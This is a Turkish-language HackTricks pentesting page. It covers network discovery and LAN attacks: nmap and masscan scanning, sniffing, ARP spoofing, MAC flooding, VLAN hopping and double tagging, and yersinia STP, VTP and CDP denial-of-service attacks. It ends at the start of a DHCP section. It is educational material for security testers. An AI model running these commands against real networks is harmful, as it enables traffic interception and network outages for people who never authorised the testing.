# Pentesting Network
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks'i Destekleyin
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
{% endhint %}
\
**Bug bounty ipucu**: **Intigriti'ye kaydolun**, **hackers tarafından, hackers için oluşturulmuş premium bir bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Dışarıdan hostları keşfetmek
Bu, **İnternetten yanıt veren IP'leri bulmanın** **kısa bir bölümü** olacak.\
Bu durumda bazı **IP kapsamlarınız** (belki birkaç **aralık**) var ve sadece **hangi IP'lerin yanıt verdiğini** bulmanız gerekiyor.
### ICMP
Bu, bir hostun açık olup olmadığını keşfetmenin **en kolay** ve **en hızlı** yoludur.\
Bazı **ICMP** paketleri göndermeyi deneyebilir ve **yanıt bekleyebilirsiniz**. En kolay yol, sadece bir **echo request** göndermek ve yanıtı beklemektir. Bunu basit bir `ping` kullanarak veya **aralıklar** için `fping` kullanarak yapabilirsiniz.\
Ayrıca, diğer tür ICMP paketleri göndermek için **nmap** kullanabilirsiniz (bu, yaygın ICMP echo request-response filtrelerini atlatacaktır).
```bash
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
```
### TCP Port Discovery
Her türlü ICMP paketinin filtrelendiğini bulmak çok yaygındır. O zaman, bir hostun açık olup olmadığını kontrol etmek için yapabileceğiniz tek şey **açık portları bulmaya çalışmaktır**. Her hostun **65535 portu** vardır, bu yüzden eğer "büyük" bir kapsamınız varsa, her hostun **her portunun** açık olup olmadığını test edemezsiniz, bu çok fazla zaman alır.\
O zaman, ihtiyacınız olan şey **hızlı bir port tarayıcısı** ([masscan](https://github.com/robertdavidgraham/masscan)) ve **en çok kullanılan portların** bir listesidir:
```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
```
`nmap` ile bu adımı da gerçekleştirebilirsiniz, ancak daha yavaştır ve `nmap`'in aktif hostları tanımlamada bazı sorunları vardır.
### HTTP Port Keşfi
Bu, **HTTP** **hizmetlerini keşfetmeye odaklanmak** istediğinizde faydalı olan bir TCP port keşfidir:
```bash
masscan -p80,443,8000-8100,8443 199.66.11.0/24
```
### UDP Port Discovery
Ayrıca, bir **host'a daha fazla dikkat etmeniz gerekip gerekmediğini** belirlemek için bazı **UDP portlarının açık** olup olmadığını kontrol etmeyi deneyebilirsiniz. UDP hizmetleri genellikle düzenli bir boş UDP prob paketi ile **hiçbir veri** ile **yanıt vermediğinden**, bir portun filtrelenip filtrelenmediğini veya açık olup olmadığını söylemek zordur. Bunu belirlemenin en kolay yolu, çalışan hizmetle ilgili bir paket göndermektir ve hangi hizmetin çalıştığını bilmediğiniz için, port numarasına dayalı olarak en olası olanı denemelisiniz:
```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
```
Önerilen nmap satırı, **/24** aralığındaki her hostta **en iyi 1000 UDP portunu** test edecektir, ancak bu bile **>20dk** sürecektir. **En hızlı sonuçlar** gerekiyorsa [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) kullanabilirsiniz: `./udp-proto-scanner.pl 199.66.11.53/24` Bu, bu **UDP probelerini** beklenen portlarına gönderecektir (bir /24 aralığı için bu sadece 1 dk sürecektir): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
### SCTP Port Keşfi
```bash
#Probably useless, but it's pretty fast, why not try it?
nmap -T4 -sY -n --open -Pn
```
## Pentesting Wifi
Burada yazıldığı dönemdeki tüm bilinen Wifi saldırılarının güzel bir kılavuzunu bulabilirsiniz:
{% content-ref url="../pentesting-wifi/" %}
[pentesting-wifi](../pentesting-wifi/)
{% endcontent-ref %}
## İçeriden hostları keşfetmek
Ağ içindeyseniz, yapmak isteyeceğiniz ilk şeylerden biri **diğer hostları keşfetmek** olacaktır. **Ne kadar gürültü** yapabileceğinize/istemediğinize bağlı olarak, farklı eylemler gerçekleştirilebilir:
### Pasif
Bağlı bir ağ içindeki hostları pasif olarak keşfetmek için bu araçları kullanabilirsiniz:
```bash
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
```
### Aktif
[_**Dışarıdan hostları keşfetme**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Keşfi_) bölümünde bahsedilen tekniklerin burada da **uygulanabileceğini** unutmayın.\
Ancak, diğer hostlarla **aynı ağda** olduğunuz için **daha fazla şey** yapabilirsiniz:
```bash
#ARP discovery
nmap -sn #ARP Requests (Discover IPs)
netdiscover -r #ARP requests (Discover IPs)
#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain
# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6
alive6 # Send a pingv6 to multicast.
```
### Active ICMP
Dışarıdan hostları keşfetme ile ilgili yorumlanan tekniklerin (_Discovering hosts from the outside_ ([_**ICMP**_](./#icmp))) burada da **uygulanabileceğini** unutmayın.\
Ancak, diğer hostlarla **aynı ağda** olduğunuz için **daha fazla şey** yapabilirsiniz:
* Eğer bir **alt ağ yayın adresine** **ping** atarsanız, ping **her hosta** ulaşmalı ve **size yanıt verebilirler**: `ping -b 10.10.5.255`
* **Ağ yayın adresine** ping atarak **diğer alt ağlar** içindeki hostları bile bulabilirsiniz: `ping -b 255.255.255.255`
* Host keşfi yapmak için `nmap`'in `-PE`, `-PP`, `-PM` bayraklarını kullanarak sırasıyla **ICMPv4 echo**, **zaman damgası** ve **alt ağ maskesi istekleri** gönderin: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
### **Wake On Lan**
Wake On Lan, bilgisayarları bir **ağ mesajı** aracılığıyla **açmak için** kullanılır. Bilgisayarı açmak için kullanılan sihirli paket, yalnızca bir **MAC Dst** sağlanan ve ardından aynı paket içinde **16 kez tekrarlanan** bir pakettir.\
Bu tür paketler genellikle **ethernet 0x0842** veya **port 9'a UDP paketi** olarak gönderilir.\
Eğer **hiçbir \[MAC]** sağlanmazsa, paket **yayın ethernet**'e gönderilir (ve yayın MAC, tekrarlanan MAC olacaktır).
```bash
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
```
## Hedefleri Tarama
Derinlemesine taramak istediğiniz tüm IP'leri (harici veya dahili) keşfettikten sonra, farklı eylemler gerçekleştirilebilir.
### TCP
* **Açık** port: _SYN --> SYN/ACK --> RST_
* **Kapalı** port: _SYN --> RST/ACK_
* **Filtrelenmiş** port: _SYN --> \[YANIT YOK]_
* **Filtrelenmiş** port: _SYN --> ICMP mesajı_
```bash
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan
#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
```
### UDP
Bir UDP portunu taramak için 2 seçenek vardır:
* **Kapalı** ise bir **UDP paketi** gönderin ve _**ICMP ulaşılamaz**_ yanıtını kontrol edin (birçok durumda ICMP **filtrelenebilir**, bu nedenle portun kapalı mı yoksa açık mı olduğuna dair herhangi bir bilgi almayacaksınız).
* Bir **hizmetten** (örneğin, DNS, DHCP, TFTP ve _nmap-payloads_ 'da listelenen diğerleri) yanıt almak için **formatlanmış datagramlar** gönderin. Eğer bir **yanıt** alırsanız, o zaman port **açıktır**.
**Nmap**, "-sV" kullanarak her iki seçeneği de **karıştıracaktır** (UDP taramaları çok yavaştır), ancak UDP taramalarının TCP taramalarından daha yavaş olduğunu unutmayın:
```bash
# Check if any of the most common udp services is running
udp-proto-scanner.pl
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4
# You could use nmap to test all the UDP ports, but that will take a lot of time
```
### SCTP Tarama
**SCTP (Akış Kontrol İletim Protokolü)**, **TCP (İletim Kontrol Protokolü)** ve **UDP (Kullanıcı Datagram Protokolü)** ile birlikte kullanılmak üzere tasarlanmıştır. Ana amacı, IP ağları üzerinden telefon verilerinin taşınmasını kolaylaştırmak ve **Signaling System 7 (SS7)**'de bulunan birçok güvenilirlik özelliğini yansıtmaktır. **SCTP**, SS7 sinyallerini IP ağları üzerinden taşımayı amaçlayan **SIGTRAN** protokol ailesinin temel bir bileşenidir.
**SCTP** desteği, **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** ve **VxWorks** gibi çeşitli işletim sistemleri tarafından sağlanmaktadır; bu da telekomünikasyon ve ağ alanındaki geniş kabulünü ve faydasını göstermektedir.
nmap tarafından SCTP için iki farklı tarama sunulmaktadır: _-sY_ ve _-sZ_
```bash
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan
```
### IDS ve IPS kaçışı
{% content-ref url="ids-evasion.md" %}
[ids-evasion.md](ids-evasion.md)
{% endcontent-ref %}
### **Daha fazla nmap seçeneği**
{% content-ref url="nmap-summary-esp.md" %}
[nmap-summary-esp.md](nmap-summary-esp.md)
{% endcontent-ref %}
### Dahili IP Adreslerini Açığa Çıkarma
**Yanlış yapılandırılmış yönlendiriciler, güvenlik duvarları ve ağ cihazları** bazen **kamusal olmayan kaynak adresleri** kullanarak ağ sorgularına yanıt verir. **tcpdump**, test sırasında özel adreslerden alınan paketleri tanımlamak için kullanılabilir. Özellikle, Kali Linux'ta, kamu Internet'inden erişilebilen **eth2 arayüzünde** paketler yakalanabilir. Kurulumunuzun bir NAT veya Güvenlik Duvarı arkasında olduğunu belirtmek önemlidir; bu tür paketlerin muhtemelen filtreleneceği dikkate alınmalıdır.
```bash
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
```
## Sniffing
Sniffing ile yakalanan çerçeveleri ve paketleri inceleyerek IP aralıkları, alt ağ boyutları, MAC adresleri ve ana bilgisayar adları hakkında ayrıntılar öğrenebilirsiniz. Ağ yanlış yapılandırılmışsa veya anahtarlama yapısı stres altındaysa, saldırganlar pasif ağ sniffing yoluyla hassas materyalleri yakalayabilir.
Eğer bir anahtarlı Ethernet ağı düzgün yapılandırılmışsa, yalnızca yayın çerçevelerini ve MAC adresinize yönelik materyalleri göreceksiniz.
### TCPDump
```bash
sudo tcpdump -i udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
```
Birisi, ayrıca, Wireshark'ı GUI olarak kullanarak bir SSH oturumu üzerinden uzaktaki bir makineden paketleri gerçek zamanlı olarak yakalayabilir.
```
ssh user@ tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh @ tcpdump -i -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
```
### Bettercap
```bash
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
```
### Wireshark
Açıkça.
### Kimlik bilgilerini yakalama
Bir pcap veya canlı bir arayüzden kimlik bilgilerini ayrıştırmak için [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) gibi araçlar kullanabilirsiniz.
## LAN saldırıları
### ARP sahteciliği
ARP Sahteciliği, bir makinenin IP'sinin cihazımızın MAC'ine sahip olduğunu belirtmek için gereksiz ARP Yanıtları göndermeyi içerir. Ardından, kurban ARP tablosunu değiştirecek ve sahte IP ile iletişim kurmak istediğinde her seferinde cihazımıza başvuracaktır.
#### **Bettercap**
```bash
arp.spoof on
set arp.spoof.targets #Specific targets to ARP spoof (default=)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
```
#### **Arpspoof**
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
```
### MAC Flooding - CAM overflow
Anahtarın CAM tablosunu farklı kaynak MAC adresleriyle çok sayıda paket göndererek taşırın. CAM tablosu dolduğunda, anahtar bir hub gibi davranmaya başlar (tüm trafiği yayar).
```bash
macof -i
```
Modern anahtarlar bu güvenlik açığını düzeltmiştir.
### 802.1Q VLAN / DTP Saldırıları
#### Dinamik Trunking
**Dinamik Trunking Protokolü (DTP)**, trunking için otomatik bir sistem sağlamak amacıyla bir bağlantı katmanı protokolü olarak tasarlanmıştır ve anahtarların trunk moduna (Trunk) veya non-trunk moduna otomatik olarak port seçmelerine olanak tanır. **DTP**'nin kullanımı genellikle suboptimal ağ tasarımının bir göstergesi olarak görülür ve trunk'ların yalnızca gerektiğinde manuel olarak yapılandırılmasının ve uygun belgelerin sağlanmasının önemini vurgular.
Varsayılan olarak, anahtar portları Dinamik Otomatik modda çalışacak şekilde ayarlanmıştır, bu da komşu bir anahtar tarafından tetiklendiğinde trunking başlatmaya hazır oldukları anlamına gelir. Bir pentester veya saldırgan anahtara bağlandığında ve bir DTP İstenilen çerçevesi gönderdiğinde, bir güvenlik sorunu ortaya çıkar; bu, portun trunk moduna girmesine neden olur. Bu eylem, saldırgana STP çerçeve analizi yoluyla VLAN'ları sayma ve sanal arayüzler kurarak VLAN segmentasyonunu aşma imkanı tanır.
Birçok anahtarda varsayılan olarak DTP'nin varlığı, düşmanlar tarafından bir anahtarın davranışını taklit etmek için kullanılabilir ve böylece tüm VLAN'lar üzerindeki trafiğe erişim sağlanabilir. [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) betiği, bir arayüzü izlemek için kullanılır ve bir anahtarın Varsayılan, Trunk, Dinamik, Otomatik veya Erişim modunda olup olmadığını gösterir; sonuncusu VLAN hopping saldırılarına karşı tek korumasız yapılandırmadır. Bu araç, anahtarın güvenlik açığı durumunu değerlendirir.
Ağ güvenlik açığı tespit edilirse, _**Yersinia**_ aracı DTP protokolü aracılığıyla "trunking'i etkinleştirmek" için kullanılabilir ve bu da tüm VLAN'lardan paketlerin gözlemlenmesine olanak tanır.
```bash
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"
yersinia -G #For graphic mode
```
![](<../../.gitbook/assets/image (269).png>)
VLAN'ları listelemek için [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** ile DTP Desirable çerçevesi oluşturmak da mümkündür. **Scripti hiçbir koşulda durdurmayın. Her üç saniyede bir DTP Desirable enjekte eder. **Anahtardaki dinamik olarak oluşturulan trunk kanalları yalnızca beş dakika boyunca canlı kalır. Beş dakikadan sonra trunk düşer.**
```
sudo python3 DTPHijacking.py --interface eth0
```
**Access/Desirable (0x03)**, DTP çerçevesinin Arzu edilen türde olduğunu belirtir, bu da porta Trunk moduna geçmesini söyler. Ve **802.1Q/802.1Q (0xa5)**, **802.1Q** kapsama türünü belirtir.
STP çerçevelerini analiz ederek, **VLAN 30 ve VLAN 60'ın varlığını öğreniyoruz.**
#### Belirli VLAN'lara Saldırma
VLAN ID'lerini ve IP değerlerini bildiğinizde, **belirli bir VLAN'a saldırmak için sanal bir arayüz yapılandırabilirsiniz**.\
Eğer DHCP mevcut değilse, o zaman _ifconfig_ kullanarak statik bir IP adresi ayarlayın.
```
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
```
```bash
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
```
```bash
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
```
#### Automatic VLAN Hopper
Tartışılan saldırı olan **Dynamic Trunking ve sanal arayüzler oluşturma ve diğer VLAN'lar içindeki hostları keşfetme** işlemleri, araç tarafından **otomatik olarak gerçekleştirilir**: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
#### Double Tagging
Eğer bir saldırgan **kurban hostun MAC, IP ve VLAN ID değerlerini** biliyorsa, **çerçeveyi iki etiketle** kendi belirlenen VLAN'ı ve kurbanın VLAN'ını kullanarak etiketlemeyi deneyebilir ve bir paket gönderebilir. **Kurban geri bağlanamayacağı için**, **saldırgan için en iyi seçenek, bazı ilginç eylemler gerçekleştirebilen protokollerle (SNMP gibi) UDP üzerinden iletişim kurmaktır.**
Saldırgan için bir diğer seçenek, **saldırgan tarafından kontrol edilen ve kurban tarafından erişilebilen bir IP'yi taklit ederek bir TCP port taraması başlatmaktır** (muhtemelen internet üzerinden). Ardından, saldırgan, kurbanın bazı paketler alıp almadığını görmek için kendisine ait ikinci hostta dinleme yapabilir.
![](<../../.gitbook/assets/image (190).png>)
Bu saldırıyı gerçekleştirmek için scapy kullanabilirsiniz: `pip install scapy`
```python
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
```
#### Lateral VLAN Segmentation Bypass
Eğer **doğrudan bağlı olduğunuz bir anahtara erişiminiz varsa**, ağ içinde **VLAN segmentasyonunu atlama** yeteneğine sahip olursunuz. Basitçe **portu trunk moduna geçirin** (diğer adıyla trunk), hedef VLAN'ların kimlikleri ile sanal arayüzler oluşturun ve bir IP adresi yapılandırın. Adresi dinamik olarak (DHCP) talep etmeyi deneyebilirsiniz veya statik olarak yapılandırabilirsiniz. Duruma bağlıdır.
{% content-ref url="lateral-vlan-segmentation-bypass.md" %}
[lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md)
{% endcontent-ref %}
#### Layer 3 Private VLAN Bypass
Belirli ortamlarda, misafir kablosuz ağlar gibi, **port izolasyonu (özel VLAN olarak da bilinir)** ayarları, bir kablosuz erişim noktasına bağlı istemcilerin doğrudan birbirleriyle iletişim kurmasını önlemek için uygulanır. Ancak, bu izolasyon önlemlerini aşabilen bir teknik tanımlanmıştır. Bu teknik, ya ağ ACL'lerinin yokluğundan ya da yanlış yapılandırılmasından yararlanarak, IP paketlerinin bir yönlendirici üzerinden aynı ağdaki başka bir istemciye ulaşmasını sağlar.
Saldırı, **hedef istemcinin IP adresini taşıyan ancak yönlendiricinin MAC adresi ile birlikte olan bir paket oluşturularak** gerçekleştirilir. Bu, yönlendiricinin paketi yanlışlıkla hedef istemciye iletmesine neden olur. Bu yaklaşım, kurbanın erişebileceği bir ana bilgisayarı kontrol etme yeteneğinin güvenlik açığını istismar etmek için kullanıldığı Double Tagging Saldırıları ile benzerdir.
**Saldırının Ana Adımları:**
1. **Bir Paket Oluşturma:** Hedef istemcinin IP adresini içeren ancak yönlendiricinin MAC adresi ile birlikte özel olarak hazırlanmış bir paket oluşturulur.
2. **Yönlendirici Davranışını İstismar Etme:** Hazırlanan paket, yönlendiriciye gönderilir; yapılandırma nedeniyle, paket hedef istemciye yönlendirilir ve özel VLAN ayarları tarafından sağlanan izolasyonu aşar.
### VTP Attacks
VTP (VLAN Trunking Protocol) VLAN yönetimini merkezileştirir. VLAN veritabanı bütünlüğünü korumak için revizyon numaralarını kullanır; herhangi bir değişiklik bu numarayı artırır. Anahtarlar, kendi VLAN veritabanlarını güncelleyerek daha yüksek revizyon numaralarına sahip yapılandırmaları benimser.
#### VTP Domain Roles
* **VTP Sunucusu:** VLAN'ları yönetir—oluşturur, siler, değiştirir. Alan üyelerine VTP duyuruları yayınlar.
* **VTP İstemcisi:** VLAN veritabanını senkronize etmek için VTP duyurularını alır. Bu rol, yerel VLAN yapılandırma değişikliklerinden kısıtlanmıştır.
* **VTP Şeffaf:** VTP güncellemelerine katılmaz ancak VTP duyurularını iletir. VTP saldırılarından etkilenmez, sıfır olan sabit bir revizyon numarasını korur.
#### VTP Advertisement Types
* **Özet Duyurusu:** VTP sunucusu tarafından her 300 saniyede bir yayınlanır ve temel alan bilgilerini taşır.
* **Alt Küme Duyurusu:** VLAN yapılandırma değişikliklerinden sonra gönderilir.
* **Duyuru Talebi:** Daha yüksek bir yapılandırma revizyon numarasını tespit etmesi durumunda, bir VTP istemcisi tarafından Özet Duyurusu talep etmek için verilir.
VTP zafiyetleri yalnızca trunk portları aracılığıyla istismar edilebilir, çünkü VTP duyuruları yalnızca bunlar üzerinden dolaşır. DTP saldırısı sonrası senaryolar VTP'ye kayabilir. Yersinia gibi araçlar, VLAN veritabanını silmeyi hedefleyerek VTP saldırılarını kolaylaştırabilir ve ağı etkili bir şekilde kesintiye uğratabilir.
Not: Bu tartışma VTP sürüm 1 (VTPv1) ile ilgilidir.
````bash
%% yersinia -G # Launch Yersinia in graphical mode ```
````
Yersinia'nın grafiksel modunda, VLAN veritabanını temizlemek için tüm VTP VLAN'larını silme seçeneğini seçin.
### STP Saldırıları
**Eğer arayüzlerinizde BPDU çerçevelerini yakalayamıyorsanız, STP saldırısında başarılı olmanız olası değildir.**
#### **STP BPDU DoS**
Birçok BPDU TCP (Topoloji Değişikliği Bildirimi) veya Conf (topoloji oluşturulduğunda gönderilen BPDU'lar) göndererek, anahtarlar aşırı yüklenir ve doğru çalışmayı durdurur.
```bash
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
```
#### **STP TCP Saldırısı**
Bir TCP gönderildiğinde, anahtarların CAM tablosu 15 saniyede silinecektir. Ardından, bu tür paketleri sürekli gönderiyorsanız, CAM tablosu sürekli (veya her 15 saniyede bir) yeniden başlatılacak ve yeniden başlatıldığında, anahtar bir hub gibi davranacaktır.
```bash
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
```
#### **STP Root Attack**
Saldırgan, bir anahtarın davranışını simüle ederek ağın STP kökü haline gelir. Ardından, daha fazla veri onun üzerinden geçecektir. Bu, iki farklı anahtara bağlı olduğunuzda ilginçtir.\
Bu, **öncelik** değerinin gerçek kök anahtarın gerçek önceliğinden daha az olduğunu söyleyen BPDUs CONF paketleri göndererek yapılır.
```bash
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
```
**Eğer saldırgan 2 anahtara bağlıysa, yeni ağacın kökü olabilir ve bu anahtarlar arasındaki tüm trafik onun üzerinden geçecektir** (bir MITM saldırısı gerçekleştirilecektir).
```bash
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
```
### CDP Saldırıları
CISCO Discovery Protocol (CDP), CISCO cihazları arasında iletişim için gereklidir ve onların **birbirlerini tanımlayıp yapılandırma detaylarını paylaşmalarını** sağlar.
#### Pasif Veri Toplama
CDP, bilgileri tüm portlar üzerinden yayınlayacak şekilde yapılandırılmıştır, bu da bir güvenlik riski oluşturabilir. Bir saldırgan, bir anahtar portuna bağlandığında, **Wireshark**, **tcpdump** veya **Yersinia** gibi ağ dinleyicileri kullanabilir. Bu eylem, ağ cihazı hakkında model ve çalıştığı Cisco IOS sürümü gibi hassas verileri açığa çıkarabilir. Saldırgan, ardından belirlenen Cisco IOS sürümündeki belirli zafiyetleri hedef alabilir.
#### CDP Tablosu Taşması Sağlama
Daha agresif bir yaklaşım, anahtarın belleğini aşırı yükleyerek bir Hizmet Reddi (DoS) saldırısı başlatmaktır; bu, meşru CISCO cihazları gibi davranarak yapılır. Aşağıda, Yersinia kullanarak böyle bir saldırıyı başlatmak için gereken komut dizisi bulunmaktadır:
```bash
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
```
Bu saldırı sırasında, anahtarın CPU'su ve CDP komşu tablosu ağır bir şekilde yüklenir, bu da genellikle aşırı kaynak tüketimi nedeniyle **“ağ felci”** olarak adlandırılır.
#### CDP Taklit Saldırısı
```bash
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
```
You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package.
### VoIP Saldırıları ve VoIP Hopper Aracı
VoIP telefonları, giderek IoT cihazlarıyla entegre hale gelerek, kapıları açma veya termostatları kontrol etme gibi işlevler sunar. Ancak, bu entegrasyon güvenlik riskleri oluşturabilir.
Aracı [**voiphopper**](http://voiphopper.sourceforge.net), çeşitli ortamlarda (Cisco, Avaya, Nortel, Alcatel-Lucent) bir VoIP telefonunu taklit etmek için tasarlanmıştır. Ses ağının VLAN kimliğini CDP, DHCP, LLDP-MED ve 802.1Q ARP gibi protokoller kullanarak keşfeder.
**VoIP Hopper**, Cisco Discovery Protocol (CDP) için üç mod sunar:
1. **Sniff Modu** (`-c 0`): VLAN kimliğini belirlemek için ağ paketlerini analiz eder.
2. **Spoof Modu** (`-c 1`): Gerçek bir VoIP cihazının paketlerini taklit eden özel paketler oluşturur.
3. **Önceden Yapılmış Paket ile Spoof Modu** (`-c 2`): Belirli bir Cisco IP telefon modeliyle aynı olan paketleri gönderir.
Hız için tercih edilen mod üçüncüsüdür. Şunları belirtmek gerekir:
* Saldırganın ağ arayüzü (`-i` parametresi).
* Taklit edilen VoIP cihazının adı (`-E` parametresi), Cisco adlandırma formatına (örneğin, SEP ardından bir MAC adresi) uygun olmalıdır.
Kurumsal ortamlarda, mevcut bir VoIP cihazını taklit etmek için şunlar yapılabilir:
* Telefonda MAC etiketini incelemek.
* Telefonun ekran ayarlarına giderek model bilgilerini görüntülemek.
* VoIP cihazını bir dizüstü bilgisayara bağlayarak Wireshark kullanarak CDP isteklerini gözlemlemek.
Üçüncü modda aracı çalıştırmak için bir örnek komut:
```bash
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
```
### DHCP Saldırıları
#### Sayım
```bash
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
